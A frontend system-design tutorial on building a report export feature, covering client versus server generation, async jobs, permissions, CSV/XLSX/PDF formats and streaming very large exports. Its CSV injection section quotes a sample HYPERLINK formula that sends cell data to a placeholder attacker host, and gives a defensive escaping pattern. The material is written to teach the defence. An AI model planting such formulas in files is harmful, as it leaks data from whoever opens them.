cf.completefrontend
My progress
SYSTEM DESIGN · #62

Design report export

The "Export" button of an analytics or admin product: turn what the user sees on screen into a CSV, Excel, PDF or JSON file and get it onto their disk. The hard parts are choosing between building the file in the browser and running a server job, keeping the file faithful to the screen and to permissions, and writing files that Excel opens correctly and safely, from 50 rows to 5 million.

The question

Our payments dashboard has a table of transactions with filters for date range, status and country. Finance teams want an Export button. Some exports are 40 rows for one day; one customer wants every transaction for the last three years, about 5 million rows. Today the button fetches everything into the browser and the tab crashes.

Design the export feature on the frontend: what happens from the click to a file on disk, which formats you offer, how big exports work, and how the user learns the file is ready.

Real-life examples: Stripe Dashboard "Export payments", Shopify order and product export, Google Analytics and Search Console exports, Jira issue export to CSV, A bank statement PDF download

Requirements, and what makes export hard

A report export turns rows the user is looking at into a file they can keep: a CSV for a spreadsheet, an Excel workbook, a PDF statement, or JSON for a script. Almost every admin or analytics product has one, from Stripe's payments list to a bank statement.

It looks like one button, but the size of the export varies by five orders of magnitude: 50 rows build in milliseconds, while 5 million rows are about 1 GB of CSV and take minutes on a server. One design has to cover both without making the small case slow or the big case crash.

Other guides cover the screens around this one, so this guide links to them instead of repeating them: data-table and analytics-dashboard (the screen being exported, with its filters in the URL), admin-cms (admin list views and roles), csv-import (the opposite direction), file-uploader (moving big files into object storage), notifications-center and toast-notifications (telling the user), and progress-bar-queue (progress UI). This guide is about producing and delivering the file.

Questions that change the design

  • How many rows, at most? If the answer is always under 10,000, the browser can build the file. If it can reach millions, you need a server job. Ask for the largest real customer, not the average.
  • Where does the data live? If every row is already loaded in the table, the client has it. If the table is paginated from the server (it almost always is), the full result only exists on the server.
  • Which formats? CSV is the default. XLSX, PDF and JSON each serve a different reader, so ask who opens the file.
  • Must the file match the screen exactly? Same filters, sort, columns and time zone. Usually yes: a finance user compares the file with the screen.
  • Who can export what? Can a support agent export customer emails? Exports are the easiest way to leak data in bulk, so permissions matter more here than on the screen.
  • Do users wait, or leave? A 2 second export can be a spinner on the button. A 4 minute export needs a job the user can leave and come back to, with a notification.

Functional requirements

  • Export the current view (filters, sort, visible columns) as CSV, XLSX, PDF (statements only) or JSON.
  • Small exports download right away. Large ones run as a background job and the user gets a download link when it is done, in the app and by email.
  • A "Your exports" list shows recent jobs with status, size, and when the link expires. The user can cancel a running job and retry a failed one.
  • The file name says what it is: report name and date range, for example payments_2026-01-01_to_2026-03-31.csv.

Non-functional requirements

Targets for this design. The 1 s and 50 ms numbers follow the usual interaction budgets; the others are product choices.
RequirementTargetWhy
Small export latencyFile on disk under 1 s for under 10,000 rowsFeels instant; no job UI needed
Largest export5 million rows, about 1 GB of CSVThe biggest real customer
Page stays responsiveNo main-thread task over 50 ms while exportingA long task freezes scrolling and typing
Server memoryFlat, whatever the row countOne huge export must not take down the worker
Link lifetimeSigned download URL valid about 15 minutes; file kept 7 daysA leaked link stops working soon
CorrectnessExcel opens the file with accents, dates and leading zeros intactMost CSVs end up in Excel
SafetyNo formulas run when the file is opened; only permitted rows and columnsExports are a data leak and an attack path

Out of scope: scheduled exports ("email me this report every Monday") and exports to other systems (a warehouse or Google Sheets). Both reuse the job system from this guide with a different trigger or destination, so mention them as extensions.

Wireframe of the payments screen. A filter bar with status failed, January 1 to March 31, and country DE, and an Export button. Below, the table of payments on the left and the export dialog on the right: Export 412,880 rows, format chips CSV, XLSX and PDF, 12 columns in Europe/Berlin time, and a Start export button. At the bottom, Your exports lists a ready CSV of 18 MB that expires in 6 days and a running XLSX at 38 percent.Payments: failed, Q1 2026status: failedJan 1 to Mar 31country: DEExportch_1 120.00 EUR failedch_2 48.10 EUR failedch_3 9.99 EUR failed...Export 412,880 rowsCSVXLSXPDF12 columns, Europe/BerlinStart exportYour exportspayments_failed_Q1.csv 18 MB ready, expires in 6 dayscustomers_all.xlsx running 38% Cancel
The dialog repeats the view it will export (row count, filters, columns, time zone) so the user can check it before waiting. Your exports is the place every notification points to.

Check your understanding · Exercise 1

Which answers from the interviewer change the design the most (select all that apply)? Select all that apply.

What makes export hard

Four properties drive every decision in this guide; each later chapter answers one of them.

  1. The size range is huge. A design that is right for one end is wrong for the other: a server job for 50 rows adds seconds of waiting and a notification for nothing, and an in-browser build for 5 million rows crashes the tab.
  2. The file must be faithful. It must hold exactly the rows and columns the user sees, with the same filters and time zone, and nothing they are not allowed to see. And it must be consistent: if new payments arrive while a 4 minute export runs, the file must not contain half of them.
  3. The file leaves your app. Once it is on disk, you no longer control how it is read. Excel guesses the encoding, the delimiter, and the types. A cell that starts with = becomes a formula. A leaked download link is a leaked database extract.
  4. Slow work outlives the page. A big export takes minutes, and the user switches tabs, closes the laptop, or navigates away. The job must survive that, and the user must still find the file later.

A quick size estimate makes the first point concrete. A payments row with 12 columns (id, date, amount, currency, status, customer email, country, and so on) is about 200 bytes as CSV. So 10,000 rows are 2 MB and 5 million rows are 1 GB. These are estimates for this example; measure your own rows.

Estimated sizes for a 12-column payments row. Excel can show at most 1,048,576 rows per sheet, which matters for the last two lines.
RowsCSV size (200 B/row)Where it can be built
5010 KBBrowser, instantly, if the rows are loaded
10,0002 MBBrowser, in a worker or in chunks
100,00020 MBBrowser only with streaming; usually a server job
1,000,000200 MBServer job
5,000,0001 GBServer job with streaming, maybe split into files

Think first

The table shows 50 rows per page from the server. The user filters to one day and sees "38 results". Can the browser build this export without asking the server for anything?

Decision 1: build the file in the browser or on the server

The naive design is the one in the question: on click, fetch every matching row into the browser, build a CSV string, and download it. It works in the demo with 200 rows. With 5 million rows it asks the API for 1 GB of JSON (JSON is bigger than CSV because every row repeats the field names), holds it as JavaScript objects (several times the JSON size), then builds a second 1 GB string.

V8, Chrome's JavaScript engine, caps a single string at about 536 million characters (2 to the power 29, minus 24, on 64-bit systems). A 1 GB CSV is about a billion characters, nearly twice that cap, and the row objects behind it often exhaust the tab's memory first. Chrome shows its "Aw, Snap!" crash page and the user loses the page.

So the real question is: for this export, where is the data, and how big is it? There are four ways to make the file.

Decision Where is the export file produced?

Client: build a Blob and download it

Turn the loaded rows into CSV text in pieces, wrap the pieces in a Blob, create a blob: URL with URL.createObjectURL, and click a hidden link with a download attribute.

Pros

  • No server work, no waiting, works offline
  • The file matches the screen exactly because it comes from the same rows

Cons

  • Only works when every row is already in the browser
  • The whole file sits in memory; big builds freeze the main thread
  • Permissions rely on what the API already sent

Client: stream to disk

Fetch rows page by page and write each chunk straight to a file: with showSaveFilePicker and a writable stream (File System Access API), or through a service worker that answers a fake download URL with a stream.

Pros

  • Memory stays flat, so it scales to hundreds of MB
  • No storage or job system on the server

Cons

  • showSaveFilePicker exists only in Chromium desktop browsers (Chrome, Edge, Opera), not Firefox or Safari
  • The service worker trick is fragile and hard to test
  • The tab must stay open for the whole export

Server: stream the file in the response

Link to GET /exports/payments.csv?status=failed&from=.... The server runs the query and streams CSV with Content-Disposition: attachment. The browser's download manager writes it to disk as it arrives.

Pros

  • Simple; the browser handles progress and saving
  • Server memory stays flat if it streams

Cons

  • One HTTP request must last the whole export: proxies and load balancers cut idle or long requests
  • No retry: a dropped connection at 90% starts over
  • Auth must work for a plain navigation (cookies, not an Authorization header)

Server: async export job

POST /exports with the filters returns 202 Accepted and a job id. A worker writes the file to object storage. The client learns it is done by polling, a push event, or email, then downloads through a short-lived signed URL.

Pros

  • Any size, any duration; survives the user leaving
  • Retries, cancel, history and audit come naturally
  • Permissions and joins are enforced on the server

Cons

  • More moving parts: a queue, workers, storage, cleanup
  • Even a tiny export pays a few seconds of job overhead unless you add a fast path

What we pick: Use two paths. When every row the file needs is already loaded and there are fewer than about 10,000 of them, build a Blob in the browser: instant, and it is literally what the user sees. Everything else is an async server job. To keep small server exports from feeling slow, the client polls fast at first, and a job that finishes within a few seconds turns the button into a Download link right there. Client streaming to disk is a nice extra for Chromium, not a foundation, because Firefox, Safari and mobile users can't use it.

Rows
ColumnsFormat
Hear back by
Export planner. 10,000 rows, 12 columns, CSV. File about 2.0 MB. Client: build a Blob in the browser in about 120 ms, peak memory about 6.1 MB.file: 2.0 MBbrowser RAM: 6.1 MBbuild: 120 msclient: Blob + download linkclickbuild Blobfile on diskNo job, no polling: the rows are already here and small.
Client: build a Blob in the browser in about 120 ms, peak memory about 6.1 MB. Sizes assume about 17 bytes per CSV cell, browser memory about three times the file while it is built, and a server writing about 20,000 rows a second; all are estimates to replace with your own measurements.

How the client path works

A Blob is an immutable chunk of bytes the browser holds for you, with a MIME type. URL.createObjectURL(blob) gives it a temporary blob: URL, tied to your origin, that lives until it is revoked or the document unloads. An a element with a download attribute tells the browser to save the target instead of opening it, and its value is the suggested file name. The download attribute only works for same-origin URLs and blob: or data: URLs, which is why the client makes a blob: URL.

ts
async function downloadCsv(rows: Payment[], cols: Column[], name: string) {
  const parts: string[] = ["\uFEFF", cols.map((c) => csvCell(c.label)).join(",") + "\r\n"];
  for (let i = 0; i < rows.length; i++) {
    parts.push(cols.map((c) => csvCell(c.value(rows[i]))).join(",") + "\r\n");
    // Give the main thread a breath every 2,000 rows.
    if (i % 2000 === 1999) await new Promise((r) => setTimeout(r));
  }
  const blob = new Blob(parts, { type: "text/csv;charset=utf-8" });
  const url = URL.createObjectURL(blob);
  const a = document.createElement("a");
  a.href = url;
  a.download = name;
  document.body.append(a);
  a.click();
  a.remove();
  // The blob stays in memory until revoked or the page unloads.
  setTimeout(() => URL.revokeObjectURL(url), 10_000);
}
The client path. Rows go into an array of parts, not one giant string; csvCell is the quoting and escaping function from the formats chapter.
  • Parts, not one string. new Blob(parts) copies the pieces into browser-managed memory, outside the JavaScript heap. Building parts.join("") first adds another full copy of the file to peak memory, and a single string has a length cap.
  • Yield to the main thread. Formatting 10,000 rows of 12 columns can take 50 to 150 ms on a mid-range phone (an estimate; measure yours). Yielding every 2,000 rows keeps each task short so the page still scrolls. For bigger client builds, move the loop into a Web Worker and post the finished Blob back.
  • Revoke the URL. A blob: URL keeps its Blob alive until URL.revokeObjectURL runs or the document unloads. In a single-page app the document never unloads, so ten exports leak ten files' worth of memory. Revoking right after click() usually works, but a short delay avoids cutting off a slow download start.
  • It must be a user gesture. Browsers may block or ask about downloads that start without a click, and several downloads in a row make Chrome ask whether the site may download multiple files. Start the download from the click handler, or from a link the user clicks.
The client export path as a sequence between the user, the ExportButton handler, the CsvBuilder, and the browser. The user clicks Export. The handler calls build with the loaded rows and columns. The builder returns a Blob made of parts. The handler calls URL.createObjectURL and gets a blob URL back. It clicks a hidden link with a download attribute, and the browser saves the file. Then it calls revokeObjectURL to free the memory.UserExportButtonCsvBuilderBrowserclicks Exportbuild(rows, cols)Blob of partscreateObjectURLblob: URLa.click(), savesrevokeObjectURLbuild in chunks, or in a worker above a few thousand rows
No network call at all. The two things people forget are the last two arrows: the click must come from the user's gesture, and revokeObjectURL frees the Blob, which otherwise lives as long as the page.

Check your understanding · Exercise 2

Which exports should use the client Blob path in this design (select all that apply)? Select all that apply.

Decision 2: the async export job and how the client hears back

Once the export is a server job, the frontend's work changes: it no longer builds anything. It starts a job, tracks it, tells the user when it is done, and hands over the file safely. Shopify's help center describes a similar split: exporting up to 50 orders or the current page downloads the CSV, while bigger exports and exports by date are emailed. Our design does both in one flow.

Starting the job

The client sends the current view, not a list of rows: the same filter object the table uses (see url-as-state), plus sort, columns, format and time zone. The server answers 202 Accepted, which means "I took the work, it is not done yet", with the job id and a Location header pointing at the job. The details of 202 and error shapes are in the rest-api-design and api-contracts-and-errors lessons.

http
POST /api/exports
Idempotency-Key: 7f3c9e1a-2b4d-4c8e-9a10-55e2c1d0b6aa
Content-Type: application/json

{ "report": "payments", "format": "csv",
  "filters": { "status": ["failed"], "from": "2026-01-01", "to": "2026-03-31" },
  "sort": [{ "field": "created", "dir": "desc" }],
  "columns": ["id", "created", "amount", "currency", "status", "country"],
  "timeZone": "Europe/Berlin" }

HTTP/1.1 202 Accepted
Location: /api/exports/exp_81Hk2
{ "id": "exp_81Hk2", "status": "queued", "estimatedRows": 412880 }
Starting an export. estimatedRows comes from a cheap count, so the UI can say "about 413,000 rows" right away.

Idempotency means sending the same request twice has the same effect as sending it once. Two layers matter here. The Idempotency-Key header, generated once when the dialog opens and reused for every retry of that request, stops a network retry or a double click on Start from creating two jobs.

The second layer: the server reuses a job when the same user asks for the same report with the same normalized filters, columns and format within, say, 10 minutes. It returns the existing job instead of running the 4 minute query again. Finance users click Export, wonder if it worked, and click again; this turns that into one job.

Hearing back: polling, push, or email

Decision How does the client learn the job finished?

Short polling with backoff

GET /api/exports/exp_81Hk2 every few seconds, waiting longer between calls as time passes: 1 s, 2 s, 4 s, capped at 10 s.

Pros

  • Works everywhere, through every proxy
  • Stateless; easy to retry and cache-bust
  • Gives progress on each call

Cons

  • Wasted requests while nothing changes
  • Up to one interval of delay after the job ends

Push over SSE or WebSocket

The app's existing notification stream sends export.completed with the job id. The client updates the job in its store.

Pros

  • Instant, no wasted requests
  • One stream serves all of the user's jobs and other notifications

Cons

  • Needs a stream that is already there; not worth building just for exports
  • Events missed during a reconnect must be recovered

Email or in-app notification

When the job finishes, send an email and add an item to the notification center with a link to "Your exports".

Pros

  • Reaches the user after they closed the tab
  • Standard for exports that take minutes

Cons

  • Slow and noisy for a 3 second export
  • Email links must not carry the file itself

What we pick: Combine them by duration. While the user is on the page, poll with backoff (see short-polling and retries-and-backoff), or listen on the push stream if the app already has one (see server-sent-events), and still poll once on reconnect so a missed event can't leave a job stuck. If the job is still running after about 30 seconds, show "We'll email you when it's ready" and send the email and a notification-center item on completion.

The async export job as a sequence between the user, the client's jobs store, the export API, a worker, and storage. The user clicks Export. The store sends POST /exports. The API answers 202 with a job id. The API enqueues the job for a worker. The worker streams gzipped rows to storage. The store polls GET job with backoff and hears running, 40 percent. The worker reports succeeded to the API. The store learns it on the next poll or an SSE event, and shows a toast and a live region message to the user.UserStoreAPIWorkerStorageclicks ExportPOST /exports202, job idenqueuerows, gzipGET jobrunning 40%succeededready toast
The store, not the button, owns the job, so the last arrow reaches the user wherever they are in the app. Swap the poll for an SSE event and the timing improves, but nothing else changes.

Polling is cheap if you stop when nobody is looking. Pause it on visibilitychange when the tab is hidden and poll once when it becomes visible again. Keep the job in an app-level store, not in the Export button's component state: if the user navigates from Payments to Customers, the button unmounts but the job tracker keeps running and a toast says "Payments export is ready" (see toast-notifications). On a full reload, the client restores its jobs from GET /api/exports, because the server is the source of truth.

Job states, cancel and expiry

A job is a small state machine. Naming the states helps both the UI (what to show) and the server (what is allowed next).

queued waits for a worker, and running reports progress as rows written. succeeded has a file; failed has an error code the user can understand, like too_many_rows or timeout. cancelled was stopped by the user, and expired had a file that storage has since deleted.

The export job state machine. Queued moves to running when a worker picks it up. Running moves to succeeded when the file is stored, or to failed on an error or timeout. Queued and running both move to cancelled when the user cancels. Succeeded moves to expired after 7 days when storage deletes the file. Retry on a failed job starts a new job; the failed one stays in history.queuedwaits for a workerrunningrowsWritten growssucceededfile and sizecancelledpartial file gonefailedcode, messageexpiredfile deletedpickedstored7 dayserror, timeoutcancelcancelRetry on failed starts a new job; the failed one stays in history.
Every state maps to one look of the button and one row in Your exports. Expired keeps its row, so the list can say Export again instead of showing a dead link.
  • Cancel: POST /api/exports/exp_81Hk2/cancel sets a flag. The worker checks it between batches of rows, stops, and deletes the partial file. Cancelling a queued job just removes it from the queue.
  • Retry: a failed job gets a Retry button that starts a new job with the same request. The old one stays in history so support can see what happened.
  • Expiry: files live 7 days, deleted by a storage lifecycle rule. The job row stays as expired so "Your exports" can say "Expired, export again" instead of a broken link.
  • Your exports: a page or panel listing the user's last jobs with report name, filters summary, status, row count, size, and "expires in 6 days". It is where the email and the notification link to, and where the user goes when they lost the toast.

Check your understanding · Exercise 3

A user clicks Export, sees a spinner, and navigates to another page 10 seconds later. What should happen (select all that apply)? Select all that apply.

Decision 3: export what the user sees, and nothing more

A finance user filters to "failed payments, Q1, Germany", sorts by amount, hides three columns, and clicks Export. The file must contain the same rows in the same order with the same columns. If it contains all payments, they will paste the wrong numbers into a report. If it contains a column they could not see, you have a data leak.

One query description, two consumers

The table already has a view state: filters, sort, visible columns, page size, usually mirrored in the URL (see url-as-state and the data-table guide). The export request reuses that exact object, minus the page. The server feeds it to the same query builder the list endpoint uses. One function turning filters into SQL means the export can't drift from the table when someone adds a new filter next year.

  • Sort needs a tiebreaker. Sorting by amount alone gives an unstable order for equal amounts. Add the id as a final sort key so the file is the same every time and keyset pagination works (see the large exports chapter).
  • Time zone is part of the view. The table shows times in the user's zone. Send timeZone: "Europe/Berlin" and write times as ISO 8601 with the offset: 2026-03-31T09:15:00+02:00. A date range "January 1 to March 31" also means Berlin midnights, not UTC ones, or the file gains or loses a few hours of rows at each edge.
  • Relative ranges are frozen. "Last 7 days" means different rows tomorrow. Resolve it to absolute dates when the job starts and store those on the job, so a retry exports the same range.

A snapshot, so the file is consistent

Payments keep arriving while a 4 minute export runs. If the worker reads page 1 at 14:02 and page 900 at 14:06, payments created in between sneak into the file, and a payment that moves from "pending" to "failed" can appear twice or not at all. The first fix is a snapshot time: the job records asOf when it starts, and the query only includes rows created at or before it.

asOf does not cover rows that change while the export runs. The second fix: read every page inside one transaction at the repeatable-read isolation level, so each page sees the database as it was at the start; a read replica keeps that long read off the primary.

Show the snapshot time in Your exports and put it in the file itself where the format allows, such as a notes sheet in XLSX: "as of 2026-03-31 14:02 UTC". That one line saves many support tickets that start with "the totals don't match".

Permissions are checked where the file is built

The client sends a list of column ids, and the server never trusts it. It intersects the list with the columns this user's role may read and applies the same row scope as the list API, such as this account or this team. A support agent who edits the request to add customer_email gets the file without it, and the job records which columns were dropped. Masked fields stay masked: if the screen shows a card as •••• 4242, the export shows the same, not the full value.

Check your understanding · Exercise 4

The table shows "Last 7 days" in the Europe/Berlin time zone, sorted by amount. Which details belong in the export request or job (select all that apply)? Select all that apply.

Decision 4: formats that open correctly and safely

The file leaves your app and lands in Excel, Numbers, Google Sheets, a Python script, or a printer. Offer the few that match real readers, and make each one correct for its most common reader.

FormatBest forWatch out for
CSVEverything; the defaultEncoding, delimiter, Excel's type guessing, formula injection
XLSXFinance users who want typed columns, several sheets1,048,576 rows per sheet; heavier to generate
PDFStatements, invoices, anything printed or signed offPagination, repeated headers; not for big tables
JSON / NDJSONDevelopers and scriptsUse one object per line (NDJSON) so large files stream

CSV that Excel reads the way you meant

The quoting rules come from RFC 4180, and the csv-import guide explains them from the reading side: a field that contains a comma, a double quote, or a line break is wrapped in double quotes, and a double quote inside it is doubled. Lines end with CRLF. On the writing side, the traps are about what Excel does when it opens the file with a double click:

  • Encoding. Write UTF-8. Excel on Windows may read a CSV without a byte order mark in the system's legacy code page, so Müller turns into Müller. Starting the file with the UTF-8 byte order mark (BOM, the bytes EF BB BF, or \uFEFF in a JavaScript string) makes Excel read it as UTF-8. Some scripts then read the BOM as part of the first header name (Python needs the utf-8-sig encoding to drop it), so mention it in the API docs.
  • Delimiter. Excel splits a double-clicked CSV on the system's list separator. In many European locales, where the decimal mark is a comma, that separator is a semicolon, so a comma file opens as one long column. Offer "CSV (semicolon, for Excel in Europe)" based on the user's locale, or steer those users to XLSX, which has no delimiter at all.
  • Numbers and dates. Write numbers without thousands separators and with a dot for decimals (1234.50, not 1,234.50), plus a separate currency column. Write dates as ISO 8601. Localized formats like 03/04/2026 are ambiguous between US and European readers (see locale-formatting).
  • Long ids and leading zeros. Excel keeps 15 significant digits, so an 18-digit order id becomes 1.23457E+17 and loses its last digits, and the postal code 01234 becomes 1234. CSV can't say "this is text". If these columns matter, XLSX with text-typed cells is the real fix.

CSV injection: cells that become formulas

Your export contains text other people typed: customer names, notes, product titles. A spreadsheet treats a cell that starts with = as a formula. If a customer names themselves =HYPERLINK("https://evil.example/?d="&A2, "Click"), the finance user who opens your export sees a link that sends a neighbouring cell to an attacker. This is CSV injection (or formula injection), the same idea as the xss lesson: data must never be read as code by whatever renders it next.

OWASP's guidance is that no cell may start with =, +, -, @, a tab, a carriage return, or a line feed, nor with the full-width forms of =, +, - and @ that some locales, such as Japanese, also treat as formulas. Fields that contain the separator or a quote character need quoting too, or an attacker can start a new cell in the middle of their input.

ts
const DANGEROUS = /^[=+\-@\t\r\n\uFF1D\uFF0B\uFF0D\uFF20]/;

export function csvCell(value: string | number | null, sep = ","): string {
  if (value === null) return "";
  if (typeof value === "number") return String(value); // 1234.5, never "1,234.50"
  let s = value;
  if (DANGEROUS.test(s)) s = "'" + s; // shown as text, not run as a formula
  const needsQuotes = s.includes(sep) || /["\r\n']/.test(s); // OWASP: quote ' too
  return needsQuotes ? '"' + s.replaceAll('"', '""') + '"' : s;
}
Escape user text, not numbers: a real negative amount like -12.50 is written as a number and must stay one. Only string cells get the prefix.

The leading apostrophe makes Excel read the value as text instead of running it. The cost: the apostrophe is now part of the data, so people may see it in the cell and a script reading the file sees '=SUM(A1). That's an acceptable trade for a file meant for people; for the JSON export, write the raw value.

No CSV escape is perfect. OWASP warns that Excel can remove the escaping when a user saves and reopens the CSV, which brings the formula back. Its page also describes a tab character inside the quoted field as a prefix that holds up better in Excel, at the cost of a tab in the data. Both are reasons to offer XLSX, where a text cell stays text.

Sample
File delimiterExcel locale
CSV safety lab. Raw file: [BOM]id,name,note,amount / ch_1,"'=HYPERLINK(""https://evil.example"",""Click"")","'-2+3",-12.5. Excel in a US locale shows: id | name | note | amount; ch_1 | '=HYPERLINK("https://evil.example","Click") | '-2+3 | -12.5. Excel shows every value as typed, and nothing runs as a formula.raw file (⏎ is a line break inside a cell)[BOM]id,name,note,amountch_1,"'=HYPERLINK(""https://evil.example"",""Click"")","'-2…what Excel shows (US locale)idnamenoteamountch_1'=HYPERLINK(…'-2+3-12.5safe: values shown as typed
Excel shows every value as typed, and nothing runs as a formula.

XLSX: typed cells and sheets

An XLSX file is a zip of XML files. Libraries such as SheetJS and ExcelJS write them; ExcelJS has a streaming writer that flushes rows as it goes, which you need on the server for large files. You get what CSV can't say: a cell is a date, a number with two decimals, or text, so leading zeros and long ids survive.

You can also freeze the header row, set column widths, and add a second sheet with the filters used. The hard limit: a worksheet holds at most 1,048,576 rows and 16,384 columns. A 5 million row export becomes five sheets or, more usefully, a message suggesting CSV.

PDF: documents, not data dumps

Decision How do you produce a bank-statement style PDF?

Headless Chrome prints an HTML page

Render the statement as HTML with a print stylesheet, open it in headless Chrome (Puppeteer or Playwright), and call page.pdf().

Pros

  • Reuse your components, fonts and CSS
  • thead repeats on every page; break-inside: avoid keeps rows whole; @page sets size and margins

Cons

  • A browser per worker: hundreds of MB of memory each (an estimate) and slow cold starts
  • Big tables mean slow layout

A PDF library draws the document

Use a library such as PDFKit or React-PDF to place text and lines on pages from code.

Pros

  • Fast, small, predictable memory
  • Exact control over page breaks

Cons

  • You rebuild layout by hand: wrapping, tables, headers
  • A second template to keep in sync with the screen

What we pick: Headless Chrome for statements and invoices, where the page count is small and looking like the product matters. Cap PDF exports at a few thousand rows with a clear message ("PDF is limited to 2,000 rows, use CSV for more"); nobody reads a 40,000 page PDF.

Check your understanding · Exercise 5

A German finance user double-clicks your CSV and sees one column full of Müller,1234.50,EUR. Which changes fix what they see (select all that apply)? Select all that apply.

Decision 5: 5 million rows without running out of memory

The naive worker repeats the naive client on a bigger machine: SELECT everything, build the file in memory, upload it. For 5 million rows that's gigabytes of row objects plus the file, and if three customers export at once the worker dies. The fix is to stream: rows flow through a pipeline in small batches, and at any moment the worker holds only a few thousand of them.

The export worker as a streaming pipeline. A database cursor reads 5,000 rows at a time into toCsvLines, which turns each row into a CSV line. Lines go into gzip, then into a multipart upload, which writes parts of 5 MB or more into object storage. Backpressure flows the other way: when the upload is slow, every stage pauses. Worker memory holds a few batches, the same for 50 rows or 5 million.DB cursor5,000 rowstoCsvLinesrow to textgzipsmallerUploadmultipartbackpressure: pause when the next stage is slowStorageexports/worker memory: a few batches,flat for 50 rows or 5 million
Data moves right, pressure moves left. Each stage asks for more only when it has room, so the slowest stage sets the pace and nothing piles up in memory.
ts
await db.transaction({ isolation: "repeatable read" }, async (tx) => {
  const rows = tx.cursor(buildQuery(job.request, job.asOf), { batch: 5000 });
  const body = pipeline(                   // node:stream; the callback form returns the last stage
    rows,                                  // async iterator of row objects
    toCsvLines(job.columns, job.timeZone), // Transform: row -> "a,b,c\r\n"
    trackProgress(job),                    // counts rows, checks the cancel flag
    createGzip(),                          // CSV shrinks several times over
    (err) => err && log.warn("export stream failed", err), // every stage is destroyed on error
  );
  const upload = new Upload({ client: s3, params: {
    Bucket: "exports", Key: `${job.id}/${job.fileName}`, Body: body,
    ContentType: "text/csv; charset=utf-8", ContentEncoding: "gzip",
    ContentDisposition: `attachment; filename="${job.fileName}"`,
  }});
  await upload.done();                     // multipart upload, a few parts in flight
});
A Node.js export worker, simplified. Each stage pulls the next batch only when the stage after it is ready (backpressure), so memory stays flat whatever the row count.
  • Database cursor. A server-side cursor (or keyset pagination on (created, id)) reads 5,000 rows at a time. OFFSET pagination is wrong here: page 900 makes the database skip 4.5 million rows first, so each page gets slower.
  • Backpressure. Node.js streams and web ReadableStreams both pause the producer when the consumer is slow. If the upload stalls, the cursor stops reading. Without it, a fast database fills memory waiting for a slow network.
  • Compression. CSV is repetitive text and gzip usually shrinks it several times over (measure your data). Storing it gzipped with Content-Encoding: gzip makes the download smaller, and browsers normally decode it on the fly, so the user still gets a plain .csv file.
  • Multipart upload. Object storage takes big files in parts (S3 parts are at least 5 MiB except the last, and at most 10,000 parts per file), uploaded as they fill. The worker never needs the whole file on disk.

Limits, splitting and honest messages

Streaming removes the memory limit, not every limit. Decide the others up front and tell the user before they wait.

  • Row limit per format. XLSX: 1,048,576 rows per sheet. PDF: a few thousand rows. CSV: set a product cap, for example 10 million rows. Check estimatedRows when the job is created and fail fast with too_many_rows and a suggestion ("Narrow the date range or choose CSV"), instead of failing after 20 minutes.
  • Splitting. Above about 1 million rows, split the CSV into parts of 1 million rows each so every part opens in Excel, and deliver them as one ZIP or as several links on the job. Each part repeats the header row.
  • Time limit. Give the job a timeout (say 30 minutes) and record progress. A crashed worker's job is picked up again and restarts from the beginning. Because the range and asOf are stored on the job, the restart covers the same window; only rows that changed in the meantime can differ.
  • Fairness. Limit running exports per account (for example 3) and queue the rest, so one customer's 5 million rows don't delay everyone's 2,000-row exports. Small jobs can go to a separate fast queue.

Think first

The job reports rowsWritten. How should the client show progress for a 4 minute export, and what should it avoid?

Check your understanding · Exercise 6

A 5 million row CSV export crashes the worker with an out-of-memory error. Which changes fix the root cause (select all that apply)? Select all that apply.

Architecture: the pieces and where data flows

The main boundary is between the export dialog, which lives and dies with the page, and the export jobs store, which lives as long as the app does. Everything that must survive navigation sits on the store side.

PartResponsibilityWhy it is separate
Export button and dialogFormat, columns, scope summary ("412,880 rows, Q1, failed"), startPure UI; unmounts when the user leaves the page
View stateFilters, sort, columns, time zone, from the URLShared with the table, so the export can't drift from the screen
Export plannerPicks client Blob or server job from row count and loaded dataOne small, testable function instead of ifs in the button
Client CSV builderRows to Blob, in a Web Worker for more than a few thousand rowsKeeps formatting off the main thread
Export jobs storeRunning and recent jobs; polling with backoff; push eventsApp-level, so jobs survive navigation
NotifierToast, notification center item, live region messageOne place decides how loudly to say "ready"
Export API and workersValidate, check permissions, queue, stream to storage, emailHeavy, slow work off the request path
Object storage and signed URLsHolds files 7 days; serves them with short-lived linksFiles never pass through the app servers
Architecture. In the browser: View state with URL filters and time zone feeds the ExportDialog, which asks the Planner whether to build on the client or start a job. Small exports go to the CsvBuilder in a Web Worker. Jobs go to the Jobs store, which polls or listens to SSE and tells the Notifier, which shows a toast and a live region message. On the server: the Export API checks permissions, writes the audit log and returns 202; Workers stream and gzip files into Object storage, which serves downloads through signed URLs.BrowserView stateURL filters, tzExportDialogformat, columnsPlannerclient or job?CsvBuilderWeb WorkerJobs storepoll, SSENotifiertoast, live regionsmalljobServerExport APIauth, audit, 202Workersstream, gzipObject storagesigned URLsPOST, poll, SSEdownload
The line between the dialog and the jobs store is the important one: the dialog unmounts when the user leaves the page, the store and everything below it does not.

Follow one big export through the system. The planner says "server", the store sends POST /api/exports and adds the job as queued, and the API checks permissions, records asOf, writes an audit entry and queues the job. A worker streams rows into storage while the store polls or listens for an SSE event; on succeeded the notifier shows a toast and announces it. Download asks for a fresh signed URL, and the browser fetches the file straight from storage.

How data moves for a server export. View state sends the request, with filters, sort, columns and time zone, to the Export API. The API sends the job to the queue and returns 202 and status to the jobs store. The queue hands the job id to a worker. The worker reads rows in batches from the database and writes a gzipped CSV to storage. When the user clicks Download, the jobs store gets a signed URL and the browser fetches the file from storage straight to disk.View statefilters, sort, tzExport APIcheck, asOf, auditQueuerequestjobJobs storestatus, progressStoragegzipped CSVWorkerjob id202, statusfileDatabaserows in batchesFile on diskclicksigned URL GET
Only small things cross the network to the browser: a request of a few hundred bytes, job status, and a URL. The big file goes from the worker to storage to the user's disk and never passes through the app servers.

Client data model

ts
type ExportFormat = "csv" | "csv-semicolon" | "xlsx" | "pdf" | "ndjson";
type JobStatus = "queued" | "running" | "succeeded" | "failed" | "cancelled" | "expired";

type ExportRequest = {
  report: "payments" | "customers" | "payouts";
  format: ExportFormat;
  filters: PaymentFilters;            // same object the table uses
  sort: { field: string; dir: "asc" | "desc" }[];
  columns: string[];                  // server intersects with the role's columns
  timeZone: string;                   // IANA name, e.g. "Europe/Berlin"
};

type ExportJob = {
  id: string;
  request: ExportRequest;
  status: JobStatus;
  asOf: string;                       // snapshot time, ISO 8601
  estimatedRows: number;
  rowsWritten: number;
  fileName: string;                   // "payments_failed_2026-01-01_to_2026-03-31.csv"
  sizeBytes?: number;
  expiresAt?: string;                 // when storage deletes the file
  error?: { code: "too_many_rows" | "timeout" | "internal"; message: string };
  createdAt: string;
};
Jobs live in an app-level store keyed by id, filled from the API. Nothing about a job lives only in component state.

API

